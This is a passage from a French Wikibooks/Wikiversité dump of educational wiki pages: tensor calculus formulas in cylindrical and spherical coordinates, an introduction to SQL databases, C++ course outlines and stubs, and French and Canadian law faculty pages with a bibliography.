de) ''préposition universelle'' *'''krom''' (sauf, en outre) *'''kun''' (avec) *'''laŭ''' (le long, selon) *'''per''' (au moyen de, du) *'''po''' (à raison de) *'''por''' (pour) *'''pri''' (au sujet de, du) *'''pro''' (à cause de, du) *'''sen''' (sans) [[Catégorie:Espéranto|12]] Calcul tensoriel/Espace euclidien/Coordonnées cylindriques et sphériques, conflits de notations 7391 36231 2006-03-06T14:40:20Z Fapae 1199 [[Calcul tensoriel/Appendices/Coordonnées cylindriques et sphériques, conflits de notations]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques et sphériques, conflits de notations]] Il n'y a pas de consensus pour les symboles, ni même la nature des angles en coordonnées cylindriques et sphériques. == Liens externes == http://www.physics.oregonstate.edu/bridge/papers/spherical.pdf (en anglais) pour une discussion sur les conflits de notation. Calcul tensoriel/Espace euclidien/Coordonnées cylindriques 7392 36219 2006-03-06T14:31:03Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques]] Une fois déterminé le [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Tenseur métrique|tenseur métrique]], il est facile de calculer le [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Gradient|gradient]], la [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Divergence|divergence]], le [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Laplacien|laplacien]], le [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Rotationnel|rotationnel]], le [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Symbole de Christoffel|symbole de Christoffel]]. ATTENTION, par rapport à l'article [[Wikipedia:Coordonnées polaires]], on utilise ici la lettre <math>\phi</math> à la place de la lettre <math>\theta</math>. Voir [[Calcul tensoriel/Appendices/Coordonnées cylindriques et sphériques, conflits de notations|une page sur les conflits de notations]]. Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Tenseur métrique 7393 36518 2006-03-08T09:23:31Z Fapae 1199 En [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques|coordonnées cylindriques]] <math>\left(r, \phi, z\right)</math>, le carré d'un élément de longueur vaut <math>dl^2 = dr^2 + r^2 \; d\phi^2 + dz^2</math> et donc le [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]] vaut <math>g_{ij} = \left(\begin{matrix} 1 & 0 & 0\\ 0 & r^2 & 0\\ 0 & 0 & 1 \end{matrix}\right)</math> La racine carrée du déterminant du tenseur métrique vaut <math>\sqrt{\det{g}} = r</math>. La [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Matrice inverse|matrice inverse du tenseur métrique]] vaut <math>g^{ij} = \left(\begin{matrix} 1 & 0 & 0\\ 0 & \frac{1}{r^2} & 0\\ 0 & 0 & 1 \end{matrix}\right)</math> * Base naturelle et base orthonormée Puisque le tenseur métrique en coordonnées cylindriques est diagonal, la [[Calcul tensoriel/Notions élémentaires/Base naturelle|base naturelle]] <math>\left(\mathbf{e}_r, \mathbf{e}_\phi, \mathbf{e}_z\right)</math>est orthogonale et la [[Calcul tensoriel/Notions élémentaires/Base orthonormée|base orthonormée]] s'écrit <math>\left(\mathbf{e}_r, \frac{\mathbf{e}_\phi}{r}, \mathbf{e}_z\right)</math>. Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Laplacien 7394 36225 2006-03-06T14:35:58Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Laplacien]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Laplacien]] Compte tenu de l'expression du [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Tenseur métrique|tenseur métrique en coordonnées cylindriques]], * pour un champ scalaire <math>f</math>, le [[Calcul tensoriel/Coordonnées curvilignes/Laplacien|laplacien]] <math>\nabla^2 f = \frac{1}{\sqrt{\det g}} \partial_i\left( \sqrt{\det g} \; g^{ij} \partial_j f \right)</math> s'écrit <math>\nabla^2 f = \left( \frac{\partial^2}{\partial r^2} + \frac{1}{r} \frac{\partial}{\partial r} + \frac{1}{r^2}\frac{\partial^2}{\partial \phi^2} + \frac{\partial^2}{\partial z^2} \right) f </math> * pour un champ vectoriel ...À RÉDIGER... Calcul tensoriel/Notions élémentaires/Laplacien 7395 36227 2006-03-06T14:36:37Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Laplacien]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Laplacien]] Le laplacien est la [[Calcul tensoriel/Coordonnées curvilignes/Divergence|divergence]] du [[Calcul tensoriel/Coordonnées curvilignes/Gradient|gradient]], la divergence étant prise sur l'indice tensoriel créé par le gradient. Cette définition est valable pour un scalaire ou un tenseur quelconque <math>a</math>. La laplacien <math>\nabla^2 a = a^{;i}_{;i} = g^{ij} a_{;i;j}</math> a le même nombre d'indices que <math>a</math>. * Pour un champ scalaire <math>\nabla^2 a = \frac{1}{\sqrt{\det g}} \partial_i\left( \sqrt{\det g} \; g^{ij} \partial_j a \right)</math> * Pour un champ vectoriel ...À RÉDIGER... Ces formules permettent, une fois établi le [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique|tenseur métrique]], de calculer facilement le laplacien dans un [[Calcul tensoriel/Coordonnées curvilignes/Système de coordonnées|système de coordonnées]] quelconque. Voir par exemple le [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Laplacien|laplacien en coordonnées cylindriques]] et le [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Laplacien|laplacien en coordonnées sphériques]]. Calcul tensoriel/Notions élémentaires/Divergence 7396 36323 2006-03-06T20:53:26Z Fapae 1199 La divergence d'un tenseur est le tenseur obtenu en contractant un des indices de la [[Calcul tensoriel/Notions élémentaires/Dérivée covariante|dérivée covariante]] avec l'indice de la dérivation. ==== Divergence d'un vecteur ==== Pour un champ vectoriel <math>\mathbf{v}</math>, on a <math>\nabla \mathbf{v} = v^i{}_{;i} = v^i{}_{,i} + \Gamma^i_{ij} v^j</math> Mettant a profit la [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Contraction|formule de contraction]] <math>\Gamma^i_{ij} = \frac{1}{\sqrt{\det g}}\partial_j \sqrt{\det g}</math>, on a <math>\nabla \mathbf{v} = \frac{1}{\sqrt{\det g}} \partial_j \left(\sqrt{\det g} \; v^j \right)</math> Cette formule permet, une fois établi le [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]], de calculer facilement la divergence dans un [[Calcul tensoriel/Notions élémentaires/Système de coordonnées|système de coordonnées]] quelconque. Voir par exemple la [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Divergence|divergence en coordonnées cylindriques]] et la [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Divergence|divergence en coordonnées sphériques]]. ==== Divergence d'un tenseur d'ordre 2 ==== Suivant le même chemin que pour la divergence d'un champ de vecteurs, on écrit <math> a^{ij}{}_{;j} = a^{ij}{}_{,j} + \Gamma^i_{lm} a^{lm} + \Gamma^l_{lm} a^{im} = \frac{1}{\sqrt{\det g}} \partial_k \left(\sqrt{\det g} \; a^{ik}\right) + \Gamma^i_{lm} a^{lm} </math> ==== Divergence d'un tenseur antisymétrique d'ordre 2 ==== Dans le cas d'un tenseur ''antisymétrique'', on a <math>a^{ij}{}_{;j} = -a^{ji}{}_{;j} = \frac{1}{\sqrt{\det g}} \partial_k \left(\sqrt{\det g} \; a^{ik}\right) </math> En effet, le terme <math>\Gamma^i_{lm} a^{lm}</math> est nul puisque <math>\Gamma^i_{lm} a^{lm} = -\Gamma^i_{lm} a^{ml} = -\Gamma^i_{ml} a^{ml} = -\Gamma^i_{lm} a^{lm}</math>. ==== Remarques ==== * En écriture quadridimensionnelle, les [[Calcul tensoriel/Électromagnétisme/Équations de Maxwell|équations de Maxwell]] mettent en jeu la divergence du tenseur de champ électromagnétique et de son dual, qui sont des tenseurs antisymétriques d'ordre 2. Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Contraction 7397 37912 2006-03-16T09:28:29Z Fapae 1199 La contraction du [[Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel|symbole de Christoffel]] s'exprime à partir de la dérivée partielle du déterminant du [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique|tenseur métrique]]. <math>\Gamma^i_{ij} = \frac{1}{2 \det{g}} \partial_j \left(\det g\right) = \frac{1}{\sqrt{\det{g}}} \partial_j \sqrt{\det{g}} = \partial_j \left(\log \sqrt{\det{g}}\right)</math> [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Contraction/Démonstration]] * Remarques *# Le symbole de Christoffel étant symétrique, le résultat ne dépend de l'indice de contraction : <math>\Gamma^i_{ij} = \Gamma^i_{ji}</math> *# Ni le symbole de Christoffel ni la dérivée partielle ne représentent des tenseurs. Néanmoins cette formule peut figurer dans des expressions qui représentent des tenseurs, par exemple dans la formule de la [[Calcul tensoriel/Coordonnées curvilignes/Divergence|divergence]]. Calcul tensoriel/Notions élémentaires/Tenseur métrique/Matrice inverse 7398 36465 2006-03-07T20:52:25Z Fapae 1199 Étant donné un [[Calcul tensoriel/Notions élémentaires/Système de coordonnées|système de coordonnées]], la matrice du [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]] en [[Calcul tensoriel/Notions élémentaires/Composantes contravariantes|composantes contravariantes]] <math>g^{ij}</math> est la matrice inverse de la matrice du [[Calcul tensoriel/Notions élémentaires/Tenseur métrique |tenseur métrique]] en [[Calcul tensoriel/Notions élémentaires/Composantes covariantes|composantes covariantes]] : <math>g^{ij}g_{jk} = \delta^i_k</math>. Autrement dit le tenseur métrique est son propre inverse. [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Matrice inverse/Démonstration|Démonstration]] Calcul tensoriel/Notions élémentaires/Gradient 7399 36324 2006-03-06T20:56:53Z Fapae 1199 Si ''f'' est un [[Calcul tensoriel/Notions élémentaires/Champ scalaire|champ scalaire]] indépendant du [[Calcul tensoriel/Notions élémentaires/Système de coordonnées|système de coordonnées]], c'est un tenseur d'ordre 0, et sa [[Calcul tensoriel/Notions élémentaires/Dérivée partielle|dérivée partielle]] est égale à sa [[Calcul tensoriel/Notions élémentaires/Dérivée covariante|dérivée covariante]] : <math>\left(\nabla f\right)_i = \partial_i f = f_{,i} = f_{;i}</math>, aussi appelée gradient de ''f''. Ce vecteur est habituellement exprimé en composantes contravariantes <math>\left(\nabla f\right)^i = g^{ij} f_{;j}</math> Cette formule permet, une fois établi le [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]], de calculer facilement le gradient dans un [[Calcul tensoriel/Notions élémentaires/Système de coordonnées|système de coordonnées]] quelconque. Voir par exemple le [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Gradient|gradient en coordonnées cylindriques]] et le [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Gradient|gradient en coordonnées sphériques]]. * Remarques *# Le gradient généralisé d'un tenseur quelconque peut être défini simplement comme sa [[Calcul tensoriel/Coordonnées curvilignes/Dérivée covariante|dérivée covariante]]. Cette opération ajoute un indice au tenseur. Programmation Scriptol 7400 35392 2006-03-01T17:57:00Z 84.4.189.220 == Scriptol == Le langage de programmation Scriptol est un langage moderne (implémenté en 2001) conçu pour être clair avec une syntaxe minimal et sur. C'est un langage orienté-objet et qui permet également d'utiliser XML comme structure de donnée, dotés de méthodes, d'instances... Calcul tensoriel/Notions élémentaires/Symbole de Christoffel 7402 37909 2006-03-16T09:23:29Z Fapae 1199 Le symbole de Christoffel est défini à partir de la dérivée partielle des vecteurs de la [[Calcul tensoriel/Notions élémentaires/Base naturelle|base naturelle]] : <math>\Gamma^{k}_{ij} = \left(\partial_i \mathbf{e}_j\right) \mathbf{e}^k</math> Étant donné la définition de la [[Calcul tensoriel/Notions élémentaires/Base naturelle|base naturelle]], on peut écrire <math>\Gamma^{k}_{ij} = \left(\partial_i \partial_j \mathrm{l}\right) \mathbf{e}^k</math> pour mettre en évidence la symétrie du symbole de Christoffel par échange des indices bas : <math>\Gamma^{k}_{ij} = \Gamma^{k}_{ji}</math> * Remarques *# Le symbole de Christoffel est aussi appelé connexion, avec un signe parfois différent. *# Ce symbole n'est '''pas un tenseur''' à cause du second terme de la [[Calcul tensoriel/Notions élémentaires#Transformation du symbole de Christoffel lors d'un changement de coordonnées|formule de transformation]]. *# Ce symbole permet de calculer le tenseur [[Calcul tensoriel/Notions élémentaires/Dérivée covariante|dérivée covariante]] d'un tenseur. * Voir aussi *# Symbole de Christoffel [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Symbole de Christoffel|en coordonnées cylindriques]]. *# Symbole de Christoffel [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Symbole de Christoffel|en Coordonnées sphériques]]. Wikiversité:Faculté de droit canadien 7404 35410 2006-03-02T02:32:12Z Gregory.lussier 1165 {{Département de droit}} == Bienvenue == Bienvenue à la faculté de droit canadien de la Wikiversité, c'est ici que vous trouverez tous les cours qui se rapportent au droit. L'objectif du département serait ultimement d'avoir un plan de cours qui permettrait à des étudiants de le suivre et de développer des habiletés et connaissances en droit. Pour le moment, il y a un seul programme donné et il est encore incomplet. Il faudrait que d'autres gens participent au projet pour créer un programme un peu plus complet. ==Actualité== *Création de la faculté de droit sur Wikiversité (FR) --[[Utilisateur:Gregory.lussier|Gregory.lussier]] 21 février 2006 à 01:12 (UTC) *Division de la faculté de droit en deux parties. --[[Utilisateur:Gregory.lussier|Gregory.lussier]] 2 mars 2006 à 02:32 (UTC) Département informatique/Rayon BD 7405 35430 2006-03-02T08:12:15Z Merrheim 1032 ==Base de données== * [[Programmation_SQL|Le langage SQL]] Modèle:Programmation SQL 7406 35502 2006-03-02T11:40:23Z Merrheim 1032 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#F0E0F0;" | '''[[Programmation_SQL|Le langage SQL]]''' |- | style="text-align:center;background:#F0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Les réseaux TCP/IP]] |- | bgcolor="#F0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | * <small> [[Programmation SQL Introduction|Introduction]]</small> * <small> [[Programmation SQL/BD|Les bases de données]]</small> * <small> [[Programmation SQL/Définitions|Quelques définitions]]</small> *<small>[[Programmation SQL Langage de définition de données|Langage de définition de données]]</small> *<small>[[Programmation SQL Langage de manipulation de données|Langage de manipulation de données]]</small> *<small>[[Programmation SQL Langage de contrôle de données|Langage de contrôle de données]]</small> *<small>[[Programmation SQL/Exemples|Exemples d'applications]]</small> *<small>[[Programmation SQL Conclusion|Conclusion]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Programmation_SQL&action=edit Modifier ce modèle]</small> |} Programmation SQL Conclusion 7407 35443 2006-03-02T08:22:52Z Merrheim 1032 {{Programmation SQL}} ==Conclusion== Programmation SQL/BD 7408 39188 2006-03-29T13:40:27Z 139.124.68.71 /* Introduction au modèle clients/serveur */ {{Programmation SQL}} ==Les bases de données== ===Insuffisance des fichiers=== En entreprise, les applications informatiques gérent des volumes de données très importants : des informations sur clients, sur les produits, sur les employés sur la paye sur la comptabilité, sur les stocks ...etc... A l'origine, ces information étaient stockées sous forme de fichiers. Rapidement, cette structuration montra ces limites : la nature séquentielle des fichiers est inadaptée à la manipulation rapide de gros volumes de données. On introduisit alors le notion de base de données où les données sont structurées en table. Le langage SQL est un langage fondamental : il permet d'interroger une base de données pour en extraire et en modifier des informations. ===Importance stratégique des bases de données=== Notre société moderne est une société où l'information a une valeur marchande considérable : si une entreprise perd la liste de ses clients ou sa comptabilité, les conséquences financières peuvent être catastrophiques. La possibilité de gérer rapidement et automatiquement, des commandes, le suivi de celles-ci, les stocks, la comptabilité,... permettent a beaucoup d'entreprises d'augmenter considérablement leur compétitivité. ===Introduction au modèle clients/serveur=== Le modèle de base est le modèle clients/serveur : on va installer le '''Système de Gestion de Base de Données (SGBD)''' sur un serveur et on va installer un programme client sur chacune des machines de l'entreprise. Toutes les applications vont travailler simultanément sur les données qui sont centralisées sur le serveur. Les applications clientes vont envoyer des requêtes au SGBD (en général dans le langage SQL) et vont ensuite mettre en forme à l'écran la réponse à ces requêtes. les applications clientes gèrent l'interaction avec l'utilisateur et le SGBD la manipulation des données. === Des besoins sans limites=== Dans beacoup d'entreprises, les bases de données apparaissent pour gérer une fonctionnalité très spécifique : par exemple, on veur gérer la liste des commandes et on installe une base de données et une première application interrogeant la base de données. Très rapidement, il apparait nécessaire d'utiliser une autre application gérant une nouvelle fonctionnalité : par exemple la liste des stocks. Les 2 applications ne sont pas indépendantes et vont manipuler les mêmes données. Elles vont accéder à la même base de données. Au fur et à mesure de l'évolution de l'entreprise, le nombre de fonctionnalité informatisée va augmenter jusqu'à parfois englober la totalité du fonctionnement de l'entreprise. Pour permettre une telle évolution, il faut à tout prix que la base de données initiale soit correctement structurée : les tables doivent avoir une organisation très précise. Mieux la base est organisée, plus facile sera l'évolution de celle-ci lors de l'apparition de nouvelles applications.L' '''analyse''' est la science étudiant la structuration de la base de données. Une étude minutieuse de la base est absolument nécessaire avant le développement de toute application. Programmation SQL/Définitions 7409 39192 2006-03-29T14:55:03Z 139.124.68.71 /* Les champs */ {{Programmation SQL}} ==Quelques définitions== ===Le SGBD=== Le SGBD est le serveur qui gère la où les bases de données. Il est administré par un administrateur de bases de données. Celui-ci doit installer la base de données, gérer sa sauvegarde régulière, garantir sa sécurité et gérer les droits des utilisateurs de la base. ===Les bases de données=== Une base de données est constituée d'un ensemble de tables. Une entreprise ne possède en général qu'une seule base de données. Toutefois, un SGBD peut gérer plusieurs bases de données : ceci permet par exemple de garantir que 2 applications ne vont absolument pas interagir. === Les tables === Une base de données est constituées d'un ensemble de tables. Une table est constituée d'enregistrements ayant tous les mêmes champs. Par exemple si vous avez une liste de clients définis par un nom, un prénom et une adresse, vous allez définir une table avec 3 champs : NOM, PRENOM et ADRESSE. Chaque client correspondra à un enregistrement de la table. === Les champs === Un enregistrement comporte plusieurs champs. Si on représente une table sous la forme d'un tableau, chaque ligne correspond à un enregistrement et chaque colonne à un champ. ===Le langage SQL=== Les instructions essentielles SQL se répartissent en trois familles fonctionnellement distinctes : le LDD (Langage de Définition de données) permet la description de la structure de la base (tables, vues, index, attributs, ...). Le dictionnaire contient à tout moment le descriptif complet de la structure de données. Le LMD (Langage de Manipulation de Données) permet la manipulation des tables et des vues. Le LCD (Langage de Contrôle des Données) contient les primitives de gestion des transactions et des privilèges d'accès aux données. === Langage de définition de données=== On appelle langage de définition de donnée la partie du langage SQL qui permet de créer les différentes bases et les différentes tables. === Langage de manipulation de données=== Il s'agit de la partie du langage SQL permettant de modifier ou d'extraire des informations en provenance des différentes tables. === Langage de contrôle de données=== Il s'agit de la partie du langage SQL permettant de gérer les droits des différents utilisateurs du SGBD. Programmation SQL/Exemples 7410 41345 2006-05-01T11:39:47Z 82.101.181.52 /* Un livre d'or abbes & redouane */ {{Programmation SQL}} ==Exemple d'applications== ===Un forum de discussion=== ===Un livre d'or === ===Une bibliothèque=== Wikilivres:Pages à fusionner 7411 38981 2006-03-27T21:03:25Z Guillaumito 46 [[Wikipédia:Pages à fusionner]] déplacé vers [[Wikilivres:Pages à fusionner]] == [[Programmation LaTeX Mathématiques]] et [[Programmation LaTeX Écrire des mathématiques]] == De manière générale, il y a en quelques sorte deux sous-livres, voir les barres de navigation [[modèle:LaTeX]] et [[modèle:LaTeX-nav]]. [[Utilisateur:Cdang|Cdang]] 2 mars 2006 à 11:27 (UTC) Le langage SQL/Sommaire 7414 35498 2006-03-02T11:34:58Z Merrheim 1032 * [[Programmation SQL Introduction|Introduction]] * [[Programmation SQL/BD|Les bases de données]] * [[Programmation SQL/Définitions|Quelques définitions]] * [[Programmation SQL Langage de définition de données|Langage de définition de données]] * [[Programmation SQL Langage de manipulation de données|Langage de manipulation de données]] * [[Programmation SQL Langage de contrôle de données|Langage de contrôle de données]] * [[Programmation SQL/Exemples|Exemples d'applications]] * [[Programmation SQL Conclusion|Conclusion]] Calcul tensoriel/Poubelle/Éléments de base 7415 36331 2006-03-06T21:07:46Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Éléments de base]] déplacé vers [[Calcul tensoriel/Poubelle/Éléments de base]] == [[Calcul_tensoriel/Coordonnées_curvilignes/Système de coordonnées|Système de coordonnées]] == {{:fr:Calcul_tensoriel/Coordonnées_curvilignes/Systèmes de coordonnées|Système de coordonnées}} [[Calcul_tensoriel/Coordonnées_curvilignes/Éléments de base#Systèmes de coordonnées|éléments de base]] == [[Calcul_tensoriel/Coordonnées_curvilignes/Base naturelle locale|Bases naturelle locale]] == {{:fr:Calcul_tensoriel/Coordonnées_curvilignes/Base naturelle locale}} == [[Calcul_tensoriel/Coordonnées_curvilignes/Tenseurs|Tenseurs]] == {{:fr:Calcul_tensoriel/Coordonnées_curvilignes/Tenseurs}} == [[Calcul_tensoriel/Coordonnées_curvilignes/Tenseur métrique|Tenseur métrique]] == {{:fr:Calcul_tensoriel/Coordonnées_curvilignes/Tenseur métrique}} == [[Calcul_tensoriel/Coordonnées_curvilignes/Transformation contraco|Transformation contraco]] == {{:fr:Calcul_tensoriel/Coordonnées_curvilignes/Transformation contraco|Transformation contraco}} == [[Calcul_tensoriel/Coordonnées_curvilignes/Dérivée et symbole de Christoffel|Dérivée et symbole de Christoffel]] == == [[Calcul_tensoriel/Coordonnées_curvilignes/Gradient|Gradient]] == {{:fr:Calcul_tensoriel/Coordonnées_curvilignes/Gradient}} == [[Calcul_tensoriel/Coordonnées_curvilignes/Divergence|Divergence]] == {{:fr:Calcul_tensoriel/Coordonnées_curvilignes/Divergence}} == [[Calcul_tensoriel/Coordonnées_curvilignes/Laplacien|Laplacien]] == == [[Calcul_tensoriel/Coordonnées_curvilignes/Tenseur dualiseur|Tenseur dualiseur]] == == [[Calcul_tensoriel/Coordonnées_curvilignes/Rotationnel|Rotationnel]] == ---- Retour au [[Calcul_tensoriel/Coordonnées_curvilignes/Sommaire|Sommaire général]] Aller à la [[Calcul_tensoriel/Coordonnées_curvilignes/Systèmes de coordonnées|première section]] Calcul tensoriel, éléments de base 7416 45733 2006-06-26T07:22:09Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Poubelle/Éléments de base]] Wikiversité:Faculté de droit français 7418 35789 2006-03-04T11:23:19Z Moundji 1190 /* Les enseignants */ '''<center>Bienvenue au département de droit français.</center>''' ==== Les études de droit. ==== Les personnes qui veulent faire des études de droit doivent s'inscrire à l'Université, seul organisme habilité à délivrer des diplômes. Donc, <u>le programme qui est disponible sur la Wikiversité n'est pas diplômant</u>. Néanmoins, il suit le programme universitaire et ne déroutera pas les étudiants. Les études, depuis la dernière réforme, débutent par la licence qui est préparée après le baccalauréat et qui comporte 3 années d’études. Ensuite, le master est ouvert aux titulaires de la licence et comporte 2 années d’études (M1 et M2). Seul, sauf dérogation, les étudiants ayant validé la 1e année de master (M1) peuvent être candidats à une inscription en 2e année de master (M2). Enfin, le doctorat qui est préparé après le master recherche et est délivré après la soutenance d’une thèse préparée en 3 ans. ==== Les enseignements ==== [[LICENCE PREMIERE ANNEE]] [[LICENCE DEUXIEME ANNEE]] [[LICENCE TROISIEME ANNEE]] [[MASTER PREMIERE ANNEE]] [[MASTER DEUXIEME ANNEE]] ==== Les enseignants ==== *Créateur du département de droit français et chargé du cours de droit constitutionnel [[utilisateur:Moundji|Moundji]] Le droit constitutionnel. 7419 35764 2006-03-04T09:35:59Z Moundji 1190 /* Bibliographie */ ==== Bibliographie ==== Un cours, malgré l'effort des rédacteurs, ne saurait être d'une parfaite pédagogie. Certains étudiants pourront dès lors recourir aux ouvrages imprimés afin de mieux saisir les notions et éviter l'impasse. Mais attention, il n'existe pas de manuels de référence, ou qui soit de meilleures qualités que les autres, chacun aura ses préférences ; alors n'hésitez pas à en consulter le plus possible pour trouver celui qui vous conviendra le mieux. <u>Histoire constitutionnelle</u> *Olivier DUHAMEL - Histoire constitutionnelle de la France. Paris, Seuil, 1995. *Michel TROPER, Jérôme FROMAGEAU, Séparation des pouvoirs et l'histoire constitutionnelle française, Paris, LGDJ, 1980. *Daniel AMSON, Droit constitutionnel. Histoire constitutionnelle française (1789-1958). La Ve République (1958-1992), Paris, Cours de droit (les), 1992. <u>Textes et documents</u> *Georges VEDEL, La Constitution, Paris, Seuil, 1996. *Simon-Louis FORMERY, La Constitution commentée article par article, Paris, Hachette, 1996. <u>Manuels</u> *Jean GICQUEL et Pierre AVRIL, Droit constitutionnel, Paris, PUF, 1994. *Jean RIVÉRO, Les Libertés publiques, Tome 1. Les droits de l'homme, Paris, PUF, 1995. *Jean RIVÉRO, Les libertés publiques, Tome 2. Le régime des principales libertés, Paris, PUF, 1996. *Jean MORANGE, Droits de l'homme et libertés publiques, Paris, PUF, 1995. *Dominique TURPIN et Jean-Pierre MASSIAS, Droit constitutionnel, Paris, PUF, 1997. *Pierre PACTET, Institutions politiques. Droit constitutionnel, Paris, Armand Colin, 1997. *Dominique ROUSSEAU, Droit du contentieux constitutionnel, Paris, Montchrestien, 1995. *Dominique TURPIN, Contentieux constitutionnel, Paris, PUF, 1994. Programmation C++/Sommaire 7420 42371 2006-05-15T15:35:19Z 86.197.71.22 /* Important */ ==Important== '''N'hésitez pas à compléter la liste''' '''Liste de ce qu'il reste à faire :''' * opérations arithmétiques sur les pointeurs * les tableaux à 2 dimensions * les tableaux de char * le break et ses dangers * donner un exemple d'héritage et de classe abstraites * les chapitres sur exception template et librairies standard à éécrire. * introduction sur les différentes API permettant de faire des interfaces graphiques. * les fonctions : passage de paramètre par pointeurs et par références. Passage de fonction en paramètre. * Interaction avec l'OS (copier, coller, inscrire dans le registre,...) ==Sommaire== *[[Programmation C plus plus Avant propos|Avant-propos]] *[[Programmation C plus plus Introduction|Introduction]] *[[Programmation C plus plus Compilation|Compilation]] *[[Programmation C plus plus Un premier programme|Un premier programme]] *[[Programmation C plus plus Le préprocesseur|Le préprocesseur]] *[[Programmation C plus plus Les types de base et les déclarations|Les types de base et les déclarations]] *[[Programmation_C_plus_plus_Les_opérations_de_base| Les opérations de base]] *[[Programmation C plus plus Les pointeurs|Les pointeurs]] *[[Programmation C plus plus Les références|Les références]] *[[Programmation C plus plus Les tableaux|Les tableaux]] *[[Programmation_C_plus_plus_Les_structures_de_controles| Les structures de contrôle]] *[[Programmation C plus plus Les fonctions|Les fonctions]] *[[Programmation C plus plus Les structures|Les structures]] *[[Programmation C plus plus Les classes en C plus plus|Les classes en C++]] *[[Programmation C plus plus Exceptions|Exceptions]] *[[Programmation C plus plus Les templates|Les templates]] *[[Programmation C plus plus La librairie standard|La librairie standard]] *[[Programmation C plus plus Interfaces graphiques|Interfaces graphiques]] *[[Programmation C plus plus Bibliographie et liens|Bibliographie et liens]] * Anciennes pages **[[Programmation C plus plus Opérateurs|Opérateurs]] **[[Programmation C plus plus Héritage|Héritage]] **[[Programmation C plus plus Classes abstraites|Classes abstraites]] **[[Programmation C plus plus Polymorphisme|Polymorphisme]] Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Laplacien 7424 36333 2006-03-06T21:08:54Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Laplacien]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Laplacien]] Compte tenu de l'expression du [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Tenseur métrique|tenseur métrique en coordonnées sphériques]], * pour un champ scalaire <math>f</math>, le [[Calcul tensoriel/Coordonnées curvilignes/Laplacien|laplacien]] <math>\nabla^2 f = \frac{1}{\sqrt{\det g}} \partial_i\left( \sqrt{\det g} \; g^{ij} \partial_j f \right)</math> s'écrit <math>\nabla^2 f = \left( \frac{\partial^2}{\partial r^2} + \frac{2}{r} \frac{\partial}{\partial r} + \frac{1}{r^2}\frac{\partial^2}{\partial \theta^2} + \frac{1}{r^2 \tan \theta} \frac{\partial}{\partial \theta} + \frac{1}{r^2 \sin^2 \theta} \frac{\partial^2}{\partial \phi^2} \right) f </math> * pour un champ vectoriel ...À RÉDIGER... Programmation C plus plus Classes abstraites 7425 35572 2006-03-02T16:30:02Z Merrheim 1032 {{Programmation C++}} ==Classes abstraites== Programmation C plus plus Polymorphisme 7426 35573 2006-03-02T16:30:42Z Merrheim 1032 {{Programmation C++}} ==Polymorphisme== Programmation C plus plus Exceptions 7427 35574 2006-03-02T16:31:17Z Merrheim 1032 {{Programmation C++}} ==Les exceptions== Programmation C plus plus Les templates 7428 35577 2006-03-02T16:34:26Z Merrheim 1032 {{Programmation C++}} ==Les templates== Programmation C plus plus La librairie standard 7429 37444 2006-03-13T12:23:10Z Merrheim 1032 /* memmove */ {{Programmation C++}} ==La librairie standard== === La STL === ==== Les conteneurs==== ==== Les algorithmes==== === La classe string === === Les chaînes de caractères de type C=== Le header cstring défini un certain nombre de fonction permettant la manipulation de chaînes de caractères de type C. ====memcpy==== ====memmove==== ====strcpy ==== ====strncpy ==== ====strcat==== ====strncat==== ====memcmp==== ====strcmp==== ====strcoll==== ====strncmp==== ====strxfrm==== ====strcspn==== ====strspn==== ====strtok==== ====memset==== ====strerror==== ====strlen==== ====memchr==== ====memchr(void* p, int c, size_t n)==== ====inline char* strchr(char* s1, int __n)==== ====inline char* strpbrk(char* s1, const char* s2)==== ==== inline char* 